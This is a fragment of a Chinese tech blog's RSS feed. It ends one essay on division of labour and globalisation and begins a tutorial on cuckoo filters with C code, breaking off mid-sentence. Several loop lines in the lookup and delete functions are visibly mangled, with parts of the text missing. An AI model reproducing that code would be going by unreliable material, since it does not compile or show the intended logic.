srcset=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-10-728.jpg 728w, https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-10-728-300x225.jpg 300w\" sizes=\"(max-width: 391px) 100vw, 391px\" /></a></td>\n<td><a href=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-11-728.jpg\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17300\" src=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-11-728.jpg\" alt=\"lecture-5-11-728\" width=\"372\" height=\"279\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-11-728.jpg 728w, https://coolshell.cn/wp-content/uploads/2015/12/lecture-5-11-728-300x225.jpg 300w\" sizes=\"(max-width: 372px) 100vw, 372px\" /></a></td>\n</tr>\n</tbody>\n</table>\n<h4>全球化下的分工</h4>\n<p>分工带来问题在全球化的浪潮下变得尤为突出。其委婉地被讲成是比较优势（<a title=\"Comparative advantage\" href=\"https://en.wikipedia.org/wiki/Comparative_advantage\">Comparative Advantage</a>）</p>\n<p><b>比较优势（</b>又叫<b>相对优势</b>）是经济学的概念，解释了为何在拥有相对的机会成本的优势下生产，贸易对双方都有利。当一方（一个人，一间公司，或一国）进行一项生产时所付出的机会成本比另一方低，这一方面拥有了进行这项生产的比较优势。于是，一个国家倘若专门生产自己相对优势较大的产品，并通过国际贸易换取自己不具有相对优势的产品就能获得利益。</p>\n<p>于是乎，分工本来想要的是——合适的人干合适的事，<strong>但是在比较优势的情况下，商业社会把分工变成了</strong>——<strong>不是选择合适的人、公司或国家，而是选择成本低的人、公司或国家</strong>。</p>\n<p>经济合作与发展组织<a class=\"mw-redirect\" title=\"OECD\" href=\"https://en.wikipedia.org/wiki/OECD\">OECD</a>最近（2015年6月28日）对全球化这样建议的——</p>\n<blockquote><p>“有效率的政策的本质不是阻止失业而是鼓励就业，如果各个国家都在收获全球化的利益而不是开放贸易的话，那么一些地方就会失去工作机会，当然也伴随着在另一些地方出现新的工作机会，这是全球化进程不可避免的，而我们面对的挑战是怎么能流畅调整我们的流程，能为那些新出现的工作机会找到合适的技能匹配的工人”。</p></blockquote>\n<p>通过上面的说明，我想你可以知道，为什么中国成为了世界劳动力大国，而为什么当初美国科技公司进入中国的时候，首先把测试的工作放到了中国。这就是所谓的全球化分工。同时我们也可以看到，像我们中国这样技术能力的确非常不足的国家，的确是可以通过分工这种形式，让我们这些技能一般的技术人员参与一个复杂的有技术含量的项目当中。这其中就是分工的光明面和阴暗面。</p>\n<p>那么，我们想一想，<strong>随着中国的人力成本的越来越大，国际化的分工因为商业资本的因素，必然不会选择中国，只会选择人力成本更低的国家，比如印度、越南、甚至人力成本更低的国家</strong>。美国雅虎和Adobe不是离开中国了么？再看看中国因为人民币的汇率或是人力成本的上升，我们在早几年关了多少个Made in China的工厂，这就是全球化的分工，商业上来说，他不是找最合适的人，而是找成本最低的人。</p>\n<p>所以，<strong>你千万不要以为我一提倡全栈了，你QA的工作就保不住了，就算没有全栈，就算是你还在坚持的社会化的分工，也可能让你的QA的工作就保不住了，除非，你能提供更低的价格</strong>。（想想这其中的逻辑吧，人家美国人把一些技术工作（比如测试）外包到中国的原因不是因为中国人聪明，想得周全，适合干这个测试这个事，而是因为中国人廉价，所以，当中国不在廉价了，自然就会找更廉价的地方了）</p>\n<p>为什么国家要从Made in China转型？不就是因为中国早期拿到的国际化分工就是这些没有技术含量的支持性的分工么？也因此而造就了大量的技能很一般的工人。为了能在全球化分工中能拿到更有质量的工作，<strong>我们必然要从劳动密集型转向成知识密集型，必然要从支持性的工作转变为产出性的工作，必然需要单一技能型的技工转变为复合型的人才</strong>。</p>\n<h4>分工的温床和天敌</h4>\n<p><strong>分工的温床主要有两个</strong>，</p>\n<ul>\n<li><strong>一个是成本和效率</strong>，资本家或企业主或一个国家为了追求更快成本更底的生产方式，他们必然会进行大规模的分工，伴随着分工，他们也会把一些知识或技术密集型的工作生生地变成劳动密集型的工作。然后层层外包。</li>\n</ul>\n<ul>\n<li><strong>一个是组织的大小</strong>，当一个组织的人数不断的变大，那么，你只能把工作和任务分得更细。这是被人数逼的，而不是实际需要的。这就是为什么我们可以看到很多大公司里要么人浮于事，要么瞎忙。</li>\n</ul>\n<p><strong>分工的天敌主要有一个——那就是技术</strong>！</p>\n<p style=\"padding-left: 30px;\">每当新技术出现的时候，一些复杂的工序会被一台机器或是一种高超的技术所取代，不管是被技术自动化，还是被技术所简化<strong>，</strong>总之，以前本来需要数十人或是数百人才能干的事，突然之间只需要一个人就可以干完了。生产力得到了巨大的释放。所以，你这就是我们常听的——<strong>科技是第一生产力！</strong></p>\n<p>说到这里，让我们再来看看雅虎的那条新闻——</p>\n<blockquote><p>在软件开发流程中去掉QA团队会发生什么？更少的代码错误，更快的开发周期。这是雅虎工程师过去一年的实验结果。<strong>雅虎的Warp Drive计划将程序开发从批发布转移了持续交付模式</strong>，工程师的代码不经过QA团队的人工检查而是直接发布。<strong>开发模式的转变导致了处理问题理念的根本性改变，迫使工程师开发自动检查工具去识别原来由人工检查发现的错误</strong>。雅虎的技术团队现在全部是工程师，而不再有QA团队容身之处。雅虎的首席架构师 Amotz Maimon说，他们本来预计可能会发生严重问题，结果出乎意料，每个曾经对此抱有怀疑态度的人都说新做法很有效。</p></blockquote>\n<p>所以，<strong>当你面对一些难题的时候，比如线上的故障，或是一个复杂的软件生产活动，你是要加更多的流程更多的人呢，还是要用技术解决问题呢？一边是温床，一边是天敌，你想好了吗？</strong></p>\n<h4>什么样分工才是好的</h4>\n<p>分工是必然的，因为很简单，你不可能一个人干完所有的事情，所以必需要分工，<strong>分工不是问题，而问题则变成了——什么样的分工是理想的，是优雅的，是有效率的？</strong></p>\n<figure id=\"attachment_17302\" aria-describedby=\"caption-attachment-17302\" style=\"width: 212px\" class=\"wp-caption alignright\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-17302\" src=\"https://coolshell.cn/wp-content/uploads/2015/12/hua_junwu_17.jpg\" alt=\"华君武漫画《科学分工？》\" width=\"212\" height=\"312\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/12/hua_junwu_17.jpg 300w, https://coolshell.cn/wp-content/uploads/2015/12/hua_junwu_17-204x300.jpg 204w\" sizes=\"(max-width: 212px) 100vw, 212px\" /><figcaption id=\"caption-attachment-17302\" class=\"wp-caption-text\"><strong><a href=\"https://zh.wikipedia.org/zh/%E5%8D%8E%E5%90%9B%E6%AD%A6\" target=\"_blank\">华君武</a>漫画《科学分工？》</strong></figcaption></figure>\n<p>对于分工来说，一般来是一种组织和管理形为。就目前来说，现代的公司有两种分工模式，分别是<strong>Control</strong> 和 <strong>Commitment</strong> 这两种分工。</p>\n<ul>\n<li><strong>Control就是控制型的管理，它是一种是基于工作技能的分工，于是员工会被这种分工分配到一个比较窄的技能里去完成一个非常明确的工作</strong>。</li>\n</ul>\n<ul>\n<li><strong>而Commitment则是面向员工的责任心和所承担的目标来分工并完成工作的。相比起前者来说，这样的分工在完成工作时，需要的不仅仅是技能，还需要更多的责任感</strong>。</li>\n</ul>\n<p>这么说吧，</p>\n<ul>\n<li>对于基于工作技能的分工，你会看到，这样的公司会把技术人员按编程语言来分，比如：Java、PHP、C/C++，或是分成：Web端、iOS端、Android端、后端、算法、数据。或是分成：开发，测试，运维。</li>\n</ul>\n<ul>\n<li>对于基于Commitment的分工，你会看到他们这样分的，软件工程师（不分前后端，不分语言，不分运维，测试），因为这样的公司认为，他招的不是只有特定语言技能的Coder，而是而学多种语言多种技术能保证软件质量以及能对软件维护的软件工程师。这种公司的软件工程师是各种团队都可以去的，而他们的分工更多的是按软件的功能，软件的模块，或是软件的产品线来分工。</li>\n</ul>\n<p>基于技能的分工已是过去时，而基于 Commitment 的分工是更有效率的分工的未来。你可以参看McAlister-Kizzier, Donna. 的文献 &#8220;<a href=\"http://www.encyclopedia.com/topic/Division_of_labor.aspx#3\" target=\"_blank\">Division of Labor.</a>&#8221; 。</p>\n<h4>小结</h4>\n<p>我说了这么多，不知道你看懂了我想表达什么没有？我不强加我的价值观，只希望你自己问自己几个问题：</p>\n<p style=\"padding-left: 30px;\">1）作为工作的人，在分工中你会怎样选择？是成为一颗棋子，一颗螺丝钉，还是成为一个多面手？</p>\n<p style=\"padding-left: 30px;\">2）作为工作的人，当你选择工作或任务的时候，你是选择做支持性的工作，还是做产出性的工作？你是选择做劳动密集型重复工作，还是做知识密集型的创新性的工作？</p>\n<p style=\"padding-left: 30px;\">3）作为老板，你是想要什么样的员工？听话的只会加班和干重复工作的劳动力，还是有责任心的为企业和产品负责的员工？</p>\n<p style=\"padding-left: 30px;\">4）作为老板，你是想通过分工释放低端员工的生产力，还是通过科技或技术去创造更NB的生产力？</p>\n<p style=\"padding-left: 30px;\">5）作为老板，分工中的问题，你找到比较优的解了吗？比如，对于不同团队间的协议，你找到了吗？</p>\n<p>可能，在不同的情况下你会有不同的答案。但是对我来说呢，无论是什么情况，我都只会有一个答案。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17295.html\">让我们来谈谈分工</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17295.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>122</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Cuckoo Filter：设计与实现</title>\n\t\t<link>https://coolshell.cn/articles/17225.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17225.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Wed, 02 Sep 2015 01:18:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[filter]]></category>\n\t\t<category><![CDATA[hashing]]></category>\n\t\t<category><![CDATA[海量数据]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17225</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 对于海量数据处理业务，我们通常需要一个索引数据结构，用来帮助查询，快速判断数据记录是否存在，这种数据结构通常又叫过滤器(f...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17225.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-17243 size-medium\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-300x164.jpg\" alt=\"\" width=\"300\" height=\"164\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-300x164.jpg 300w, https://coolshell.cn/wp-content/uploads/2015/08/cuckoo.jpg 400w\" sizes=\"(max-width: 300px) 100vw, 300px\" /></p>\n<p>对于海量数据处理业务，我们通常需要一个索引数据结构，用来帮助查询，快速判断数据记录是否存在，这种数据结构通常又叫过滤器(filter)。考虑这样一个场景，上网的时候需要在浏览器上输入URL，这时浏览器需要去判断这是否一个恶意的网站，它将对本地缓存的成千上万的URL索引进行过滤，如果不存在，就放行，如果（可能）存在，则向远程服务端发起验证请求，并回馈客户端给出警告。</p>\n<p>索引的存储又分为有序和无序，前者使用关联式容器，比如B树，后者使用哈希算法。这两类算法各有优劣：比如，关联式容器时间复杂度稳定O(logN)，且支持范围查询；又比如哈希算法的查询、增删都比较快O(1)，但这是在理想状态下的情形，遇到碰撞严重的情况，哈希算法的时间复杂度会退化到O(n)。因此，选择一个好的哈希算法是很重要的。</p>\n<p>时下一个非常流行的哈希索引结构就是<strong><a href=\"https://en.wikipedia.org/wiki/Bloom_filter\" target=\"_blank\">bloom filter</a></strong>，它类似于bitmap这样的hashset，所以空间利用率很高。其独特的地方在于它使用多个哈希函数来避免哈希碰撞，如图所示（<a href=\"https://en.wikipedia.org/wiki/Bloom_filter\" target=\"_blank\">来源wikipedia</a>），bit数组初始化为全0，插入x时，x被3个哈希函数分别映射到3个不同的bit位上并置1，查询x时，只有被这3个函数映射到的bit位全部是1才能说明x可能存在，但凡至少出现一个0表示x肯定不存在。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17242\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/Bloom_filter.png\" alt=\"Bloom_filter\" width=\"649\" height=\"233\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/Bloom_filter.png 649w, https://coolshell.cn/wp-content/uploads/2015/08/Bloom_filter-300x108.png 300w\" sizes=\"(max-width: 649px) 100vw, 649px\" /></p>\n<p><span id=\"more-17225\"></span></p>\n<p>但是，bloom filter的这种位图模式带来两个问题：一个是<strong>误报（false positives）</strong>，在查询时能提供“一定不存在”，但只能提供“可能存在”，因为存在其它元素被映射到部分相同bit位上，导致该位置1，那么一个不存在的元素可能会被误报成存在；另一个是<strong>漏报（false nagatives）</strong>，同样道理，如果删除了某个元素，导致该映射bit位被置0，那么本来存在的元素会被漏报成不存在。由于后者问题严重得多，所以bloom filter必须确保“definitely no”从而容忍“probably yes”，不允许元素的删除。</p>\n<p>关于元素删除的问题，一个改良方案是对bloom filter引入计数，但这样一来，原来每个bit空间就要扩张成一个计数值，空间效率上又降低了。</p>\n<h4>Cuckoo Hashing</h4>\n<p>为了解决这一问题，本文引入了一种新的哈希算法——<strong>cuckoo filter</strong>，它既可以确保该元素存在的必然性，又可以在不违背此前提下删除任意元素，仅仅比bitmap牺牲了微量空间效率。先说明一下，这个算法的思想来源是一篇<a href=\"http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pdf\" target=\"_blank\">CMU论文</a>，笔者按照其思路用C语言做了一个简单实现（<a href=\"https://github.com/begeekmyfriend/CuckooFilter\" target=\"_blank\">Github</a>），附上对一段文本数据进行导入导出的正确性测试。</p>\n<p>接下来我会结合自己的示例代码讲解哈希算法的实现。我们先来看看cuckoo hashing有什么特点，它的哈希函数是成对的（具体的实现可以根据需求设计），每一个元素都是两个，分别映射到两个位置，一个是记录的位置，另一个是备用位置。这个备用位置是处理碰撞时用的，这就要说到cuckoo这个名词的典故了，中文名叫布谷鸟，这种鸟有一种即狡猾又贪婪的习性，它不肯自己筑巢，而是把蛋下到别的鸟巢里，而且它的幼鸟又会比别的鸟早出生，布谷幼鸟天生有一种残忍的动作，幼鸟会拼命把未出生的其它鸟蛋挤出窝巢，今后以便独享“养父母”的食物。借助生物学上这一典故，cuckoo hashing处理碰撞的方法，就是把原来占用位置的这个元素踢走，不过被踢出去的元素还要比鸟蛋幸运，因为它还有一个备用位置可以安置，如果备用位置上还有人，再把它踢走，如此往复。直到被踢的次数达到一个上限，才确认哈希表已满，并执行rehash操作。如下图所示（<a href=\"http://codecapsule.com/2013/07/20/cuckoo-hashing/\" target=\"_blank\">图片来源</a>）：</p>\n<p><a href=\"http://codecapsule.com/2013/07/20/cuckoo-hashing/\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17244\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo_preview.jpg\" alt=\"cuckoo_preview\" width=\"720\" height=\"326\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo_preview.jpg 720w, https://coolshell.cn/wp-content/uploads/2015/08/cuckoo_preview-300x136.jpg 300w\" sizes=\"(max-width: 720px) 100vw, 720px\" /></a></p>\n<p>&nbsp;</p>\n<p>我们不禁要问发生哈希碰撞之前的空间利用率是多少呢？不幸地告诉你，一维数组的哈希表上跟其它哈希函数没什么区别，也就50%而已。但如果是二维的呢？</p>\n<p>一个改进的哈希表如下图所示，每个桶（bucket）有4路槽位（slot）。当哈希函数映射到同一个bucket中，在其它三路slot未被填满之前，是不会有元素被踢的，这大大缓冲了碰撞的几率。笔者自己的简单实现上测过，采用二维哈希表（4路slot）大约80%的占用率（CMU论文数据据说达到90%以上，应该是扩大了slot关联数目所致）。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17241\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-hashing-1024x392.png\" alt=\"cuckoo hashing\" width=\"650\" height=\"249\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-hashing-1024x392.png 1024w, https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-hashing-300x115.png 300w, https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-hashing-900x344.png 900w, https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-hashing.png 1143w\" sizes=\"(max-width: 650px) 100vw, 650px\" /></p>\n<h4>Cuckoo Filter设计与实现</h4>\n<p>cuckoo hashing的原理介绍完了，下面就来演示一下笔者自己实现的一个cuckoo filter应用，简单易用为主，不到500行C代码。应用场景是这样的：假设有一段文本数据，我们把它通过cuckoo filter导入到一个虚拟的flash中，再把它导出到另一个文本文件中。flash存储的单元页面是一个log_entry，里面包含了一对key/value，value就是文本数据，key就是这段大小的数据的SHA1值（照理说SHA1是可以通过数据源生成，没必要存储到flash，但这里主要为了测试而故意设计的，万一key和value之间没有推导关系呢）。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#define SECTOR_SIZE    (1 &lt;&lt; 10)\n#define DAT_LEN        (SECTOR_SIZE - 20)  /* minus sha1 size */\n\n/* The log entries store key-value pairs on flash and the\n * size of each entry is assumed just one sector fit.\n */\nstruct log_entry {\n        uint8_t sha1[20];\n        uint8_t data[DAT_LEN];\n};\n</pre>\n<p>顺便说明一下DAT_LEN设置，之前我们设计了一个虚拟flash（用malloc模拟出来），由于flash的单位是按页大小SECTOR_SIZE读写，这里假设每个log_entry正好一个页大小，当然可以根据实际情况调整。</p>\n<p>以上是flash的存储结构，至于哈希表里的slot有三个成员tag，status和offset，分别是哈希值，状态值和在flash的偏移位置。其中status有三个枚举值：AVAILIBLE，OCCUPIED，DELETED，分别表示这个slot是空闲的，占用的还是被删除的。至于tag，按理说应该有两个哈希值，对应两个哈希函数，但其中一个已经对应bucket的位置上了，所以我们只要保存另一个备用bucket的位置就行了，这样万一被踢，只要用这个tag就可以找到它的另一个安身之所。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nenum { AVAILIBLE, OCCUPIED, DELETED, };\n\n/* The in-memory hash bucket cache is to filter keys (which is assumed SHA1) via\n * cuckoo hashing function and map keys to log entries stored on flash.\n */\nstruct hash_slot_cache {\n        uint32_t tag : 30;  /* summary of key */\n        uint32_t status : 2;  /* FSM */\n        uint32_t offset;  /* offset on flash memory */\n};\n</pre>\n<p>乍看之下size有点大是吗？没关系，你也可以根据情况调整数据类型大小，比如uint16_t，这里仅仅为了测试正确性。</p>\n<p>至于哈希表以及bucket和slot的创建见初始化代码。buckets是一个二级指针，每个bucket指向4个slot大小的缓存，即4路slot，那么bucket_num也就是slot_num的1/4。这里我们故意把slot_num调小了点，为的是测试rehash的发生。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#define ASSOC_WAY  (4)  /* 4-way association */\n\nstruct hash_table {\n    struct hash_slot_cache **buckets;\n    struct hash_slot_cache *slots;\n    uint32_t slot_num;\n    uint32_t bucket_num;\n};\n\nint cuckoo_filter_init(size_t size)\n{\n    ...\n    /* Allocate hash slots */\n    hash_table.slot_num = nvrom_size / SECTOR_SIZE;\n    /* Make rehashing happen */\n    hash_table.slot_num /= 4;\n    hash_table.slots = calloc(hash_table.slot_num, sizeof(struct hash_slot_cache));\n    if (hash_table.slots == NULL) {\n        return -1;\n    }\n\n    /* Allocate hash buckets associated with slots */\n    hash_table.bucket_num = hash_table.slot_num / ASSOC_WAY;\n    hash_table.buckets = malloc(hash_table.bucket_num * sizeof(struct hash_slot_cache *));\n    if (hash_table.buckets == NULL) {\n        free(hash_table.slots);\n        return -1;\n    }\n    for (i = 0; i &lt; hash_table.bucket_num; i++) {\n        hash_table.buckets[i] = &amp;hash_table.slots[i * ASSOC_WAY];\n    }\n}\n</pre>\n<p>下面是哈希函数的设计，这里有两个，前面提到既然key是20字节的SHA1值，我们就可以分别是对key的低32位和高32位进行位运算，只要bucket_num满足2的幂次方，我们就可以将key的一部分同bucket_num &#8211; 1相与，就可以定位到相应的bucket位置上，注意bucket_num随着rehash而增大，哈希函数简单的好处是求哈希值十分快。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#define cuckoo_hash_lsb(key, count)  (((size_t *)(key))[0] &amp; (count - 1))\n#define cuckoo_hash_msb(key, count)  (((size_t *)(key))[1] &amp; (count - 1))\n</pre>\n<p>终于要讲解cuckoo filter最重要的三个操作了——查询、插入还有删除。查询操作是简单的，我们对传进来的参数key进行两次哈希求值tag[0]和tag[1]，并先用tag[0]定位到bucket的位置，从4路slot中再去对比tag[1]。只有比中了tag后，由于只是key的一部分，我们再去从flash中验证完整的key，并把数据在flash中的偏移值read_addr输出返回。相应的，如果bucket[tag[0]]的4路slot都没有比中，我们再去bucket[tag[1]]中比对（代码略），如果还比不中，可以肯定这个key不存在。<strong>这种设计的好处就是减少了不必要的flash读操作，每次比对的是内存中的tag而不需要完整的key。</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">static int cuckoo_hash_get(struct hash_table *table, uint8_t *key, uint8_t **read_addr)\n{\n    int i, j;\n    uint8_t *addr;\n    uint32_t tag[2], offset;\n    struct hash_slot_cache *slot;\n\n    tag[0] = cuckoo_hash_lsb(key, table-&gt;bucket_num);\n    tag[1] = cuckoo_hash_msb(key, table-&gt;bucket_num);\n\n    /* Filter the key and verify if it exists. */\n    slot = table-&amp;gt;buckets[tag[0]];\n    for (i = 0; i bucket_num) == slot[i].tag) {\n        if (slot[i].status == OCCUPIED) {\n            offset = slot[i].offset;\n            addr = key_verify(key, offset);\n            if (addr != NULL) {\n                if (read_addr != NULL) {\n                    *read_addr = addr;\n                }\n                break;\n            }\n        } else if (slot[i].status == DELETED) {\n            return DELETED;\n        }\n    }\n    ...\n}</pre>\n<p>接下来先将简单的删除操作，之所以简单是因为delete除了将相应slot的状态值设置一下之外，其实什么都没有干，也就是说它不会真正到flash里面去把数据清除掉。为什么？很简单，没有必要。还有一个原因，flash的写操作之前需要擦除整个页面，这种擦除是会折寿的，<strong>所以很多flash支持随机读，但必须保持顺序写。</strong></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">static void cuckoo_hash_delete(struct hash_table *table, uint8_t *key)\n{\n    uint32_t i, j, tag[2];\n    struct hash_slot_cache *slot;\n\n    tag[0] = cuckoo_hash_lsb(key, table-&gt;bucket_num);\n    tag[1] = cuckoo_hash_msb(key, table-&gt;bucket_num);\n\n    slot = table-&gt;buckets[tag[0]];\n    for (i = 0; i bucket_num) == slot[i].tag) {\n        slot[i].status = DELETED;\n        return;\n    }\n    ...\n}</pre>\n<p>了解了flash的读写特性，你就知道为啥插入操作在flash层面要设计成append。不过我们这里不讨论过多flash细节，哈希表层面的插入逻辑其实跟查询差不多，我就不贴代码了。这里要贴的是如何判断并处理碰撞，其实这里也没啥玄机，就是用old_tag和old_offset保存一下临时变量，以便一个元素被踢出去之后还能找到备用的安身之所。但这里会有一个判断，每次踢人都会计数，当alt_cnt大于512时候表示哈希表真的快满了，这时候需要rehash了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">static int cuckoo_hash_collide(struct hash_table *table, uint32_t *tag, uint32_t *p_offset)\n{\n    int i, j, k, alt_cnt;\n    uint32_t old_tag[2], offset, old_offset;\n    struct hash_slot_cache *slot;\n\n    /* Kick out the old bucket and move it to the alternative bucket. */\n    offset = *p_offset;\n    slot = table-&gt;buckets[tag[0]];\n    old_tag[0] = tag[0];\n    old_tag[1] = slot[0].tag;\n    old_offset = slot[0].offset;\n    slot[0].tag = tag[1];\n    slot[0].offset = offset;\n    i = 0 ^ 1;\n    k = 0;\n    alt_cnt = 0;\n\nKICK_OUT:\n    slot = table-&gt;buckets[old_tag[i]];\n    for (j = 0; j &lt; ASSOC_WAY; j++) {\n        if (offset == INVALID_OFFSET &amp;&amp; slot[j].status == DELETED) {\n            slot[j].status = OCCUPIED;\n            slot[j].tag = old_tag[i ^ 1];\n            *p_offset = offset = slot[j].offset;\n            break;\n        } else if (slot[j].status == AVAILIBLE) {\n            slot[j].status = OCCUPIED;\n            slot[j].tag = old_tag[i ^ 1];\n            slot[j].offset = old_offset;\n            break;\n        }\n    }\n\n    if (j == ASSOC_WAY) {\n        if (++alt_cnt &gt; 512) {\n            if (k == ASSOC_WAY - 1) {\n                /* Hash table is almost full and needs to be resized */\n                return 1;\n            } else {\n                k++;\n            }\n        }\n        uint32_t tmp_tag = slot[k].tag;\n        uint32_t tmp_offset = slot[k].offset;\n        slot[k].tag = old_tag[i ^ 1];\n        slot[k].offset = old_offset;\n        old_tag[i ^ 1] = tmp_tag;\n        old_offset = tmp_offset;\n        i ^= 1;\n        goto KICK_OUT;\n    }\n\n    return 0;\n}</pre>\n<p>rehash的逻辑也很简单，无非就是把哈希表中的buckets和slots重新realloc一下，空间扩展一倍，然后再从flash中的key重新插入到新的哈希表里去。这里有个陷阱要注意，<strong>千万不能有相同的key混进来！</strong>虽然cuckoo 